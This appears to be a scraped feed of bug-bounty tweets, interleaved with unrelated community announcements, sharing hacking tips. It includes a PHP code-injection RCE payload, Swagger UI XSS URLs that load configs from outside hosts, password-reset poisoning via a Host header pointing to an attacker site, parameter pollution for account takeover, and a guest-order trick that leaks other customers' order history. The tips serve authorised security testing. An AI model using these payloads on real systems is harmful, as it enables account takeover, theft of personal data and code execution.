This is the quickest RCE I've ever gotten.
The app has a popup for multi-selection fields. I intercepted the request, expecting XSS or SQLi, but found that the parameter **_session_name= can be exploited to get an #RCE as a surprise.
Payload: `&**='.print((`id`)).'` #BugBounty
The 2024 Brand Ambassadors are ready to kick off the year right! ๐ Thank you to everyone who submitted their applications to the program this year.
Check out the thread below to see our newest ambassadors, and sign up on https://t.co/PQVu5jSIFE to join your local chapter! ๐
API hacking is simple, easier to learn and reproduce.
Down below are massive API hacking resources.
PS: You might definitely want to bookmark this and come.
We're excited to announce that @Bugcrowd is our Official Sponsor for the AirTech CTF, the Biggest Capture the Flag event by Air University in Collaboration with OffensioX!
If you haven't registered yet, go ahead and register ASAP
Registration Link: https://t.co/9WjhyNRNxM
@Hacker0x01 I think it was time for you to review your h1_analysts, a lot of them are ghosting researchers after closing the report as informative, look at this simple SMTP vulnerability that your so-called analyst can't understand.
Bug Bounty Tips: ๐๐ฐ Here's a simple bug bounty tip for shopping site targets that can earn you some serious $$$$.
I've stumbled upon 10+ similar issues on shopping sites that allow guest checkouts ๐.
Many overlook these issues because they require placing an order ๐ฆ. However, some services support cash on delivery ๐ธ or allow you to place a cheap order and then cancel it for a refund ๐, making it worth adding to your checklist if other prerequisites are met.
Here's what to look for:
1๏ธโฃ Target app that permits guest orders without creating an account ๐ต๏ธโโ๏ธ
2๏ธโฃ Target app doesn't require email verification for new account creation, or you've found an email verification bypass on sign-up ๐ง๐
If these prerequisites are met, you can often find target apps with a misconfiguration that lets you access a guest user's order history by creating a new account with the same email used for the guest order.
Here's how it usually goes down:
1๏ธโฃ Place an order on the site as a "Guest" and use the victim's email during checkout, e.g., [email protected] ๐ฉ
2๏ธโฃ The victim receives an email with the receipt ๐ง
3๏ธโฃ As an attacker, sign up using the email [email protected] assuming there's no email verification ๐งโ๐ป
4๏ธโฃ Navigate to the account's order history page, and you might strike gold ๐ช by finding the previously made orders, leading to Order History and PII leaks ๐๐
Takeaways: Don't ignore workflows involving payments; you might discover workarounds like cheap payments or cash on delivery ๐ก๐ณ. Test for unusual flows and be ready for pleasant surprises with some lucrative bounties ๐ฐ๐ #BugBounty #CyberSecurity #HackerOne #BugBountyTips #SecurityTips #Bounties #infosecurity
How to access to company without being part of it with google oauth, with your gmail account.. [it only works if the company has a misconfiguration!] #bugbountytips#bugbounty
Quick Wins: If you come across an outdated Swagger instance, always remember to test for XSS vulnerabilities. Try these payloads and earn some quick bounties!
http://example(.)com/swagger-ui/index.html?configUrl=https://jumpy-floor.surge(.)sh/test.json
http://example(.)com/swagger-ui/index.html?url=https://jumpy-floor.surge(.)sh/test.yaml
http://example(.)com/swagger-ui/index.html?configUrl=https://xss.smarpo(.)com/test.json&url=https://jumpy-floor.surge(.)sh/test.yaml
Always try escalating these Issues to an Account takeover to earn a 'High' severity payout.
#EthicalHacking #BugBounty #SecurityTips #Cybersecurity #StaySecure
๐คQuestion of the day: What are the common vulnerabilities within the "Forgot Password" functionality?
Many users tend to overlook testing the "Forgot Password" feature of a target app. However, these functions are often susceptible to various issues. If exploited, these issues can lead to an account takeover, yielding bounties ranging from $750 to $7500, depending on the program.
Here are the common issues you should be on the lookout for:
1๏ธโฃ Token and username parameter: Some target apps often generate a password reset link containing a token and a username parameter. In such cases, request a password reset link on your attacker account, navigate to it, and attempt to replace the "username" parameter with the victim's username. Try resetting the password using your token. This is frequently one of the most common issues I've encountered that leads to an Account Takeover (ATO).
2๏ธโฃ Password reset poisoning: Request a password reset using the victim's account and alter the "Host" header of the request to https://attackercontrolledsite(.)com. If the target app is vulnerable, this will trigger an email to the victim with a password link pointing to your server (e.g., https://attackercontrolledsite(.)com?token=dsksdjsdjsdjdsjdsjsd. When the victim clicks on this link, you will receive the password reset token, paving the way for an ATO.
3๏ธโฃ HTTP Parameter Pollution: When requesting a password reset, always attempt to pass multiple email parameters (e.g., email=victim@target(.)com&email=attacker@target(.)com). Depending on how the application's backend is set up, it may have different routines running on various servers to check validity and send emails. Consequently, it could inadvertently send the password reset link of victim@target(.)com to attacker@target(.)com.
4๏ธโฃ None of the above worked? Fret not! We have many more scenarios that can be exploited, and we'll discuss them in our future tweets.
Takeaways: Never underestimate the importance of the password reset functionality, as issues in these areas can lead to lucrative payouts. Be creative and make sure to add these items to your checklist.
#CyberSecurityTips #SecurityTips #BugBountyTips #InfoSec #HackerOne #BugCrowd #portswigger #burpsuite
I often export proxy items from Burp to extract certain data. Example: filter out all response headers where request param is X, get a list of all response params for custom wordlist creation etc. I built this tool to make it do what I want: https://t.co/KH4ZYsw5Xc